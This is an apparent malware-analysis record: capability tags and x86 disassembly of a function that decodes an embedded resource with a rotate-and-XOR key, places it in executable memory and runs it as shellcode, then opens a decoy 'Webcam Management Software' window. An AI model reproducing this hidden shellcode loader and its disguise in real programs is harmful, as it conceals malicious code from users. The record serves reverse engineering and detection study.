Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], str.bedczduaanfgb
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
push 0xa
push 0x7e
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401047
xor eax, eax
jmp 0x4013be
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x2c], 0
jne 0x401076
xor eax, eax
jmp 0x4013be
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x30], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4010a6
xor eax, eax
jmp 0x4013be
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004049b0
add esp, 0xc
push 0x2faf080
call fcn.004032d2
add esp, 4
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
jne 0x4010dd
xor eax, eax
jmp 0x4013be
mov dword [ebp - 0x38], 0
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x2faf080
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00401ee0
mov dword [ebp - 8], 0
jmp 0x40110c
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1c]
jae 0x40115b
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x20]
mov cl, byte [eax]
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 1]
sar edx, 3
movzx eax, byte [ebp - 1]
shl eax, 5
or edx, eax
movzx ecx, byte [ebp - 2]
xor edx, ecx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov eax, dword [ebp - 0x20]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x20], edx
jmp 0x401103
mov eax, dword [ebp - 0xc]
call eax
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
push eax
call fcn.004032db
add esp, 4
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jge 0x4011a0
push 0
push 0x438310
push str.Failed_to_initialize_COM
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x4013be
lea ecx, [ebp - 0x5c]
call fcn.004020e0
lea ecx, [ebp - 0x5c]
push ecx
push 0x439848
call fcn.004013d0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jge 0x4011f0
push 0
push 0x438350
push str.Failed_to_enumerate_devices
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x5c]
call fcn.00402300
mov eax, dword [ebp - 0x44]
jmp 0x4013be
xor edx, edx
mov dword [ebp - 0x84], edx
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x80], 0x4016f0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x60], str.WebcamWindowClass
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassW]
movzx edx, ax
test edx, edx
jne 0x40126c
push 0
push 0x4383b8
push str.Failed_to_register_window_class
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x5c]
call fcn.00402300
mov eax, dword [ebp - 0x48]
jmp 0x4013be
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Webcam_Management_Software
mov ecx, dword [ebp - 0x60]
push ecx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4012da
push 0
push str.Error
push str.Failed_to_create_window
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x5c]
call fcn.00402300
mov eax, dword [ebp - 0x4c]
jmp 0x4013be
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
xor edx, edx
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], edx
mov dword [ebp - 0x98], edx
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], edx
mov dword [ebp - 0x88], edx
push 0
push 0
push 0
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x401351
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40131e
cmp dword [0x447b14], 0
je 0x40136d
mov eax, dword [0x447b14]
mov ecx, dword [eax]
mov edx, dword [0x447b14]
push edx
mov eax, dword [ecx + 8]
call eax
cmp dword [0x447b18], 0
je 0x401389
mov ecx, dword [0x447b18]
mov edx, dword [ecx]
mov eax, dword [0x447b18]
push eax
mov ecx, dword [edx + 8]
call ecx
cmp dword [0x447b10], 0
je 0x4013a6
mov edx, dword [0x447b10]
mov eax, dword [edx]
mov ecx, dword [0x447b10]
push ecx
mov edx, dword [eax + 8]
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0x5c]
call fcn.00402300
mov eax, dword [ebp - 0x50]
mov esp, ebp
pop ebp
ret 0x10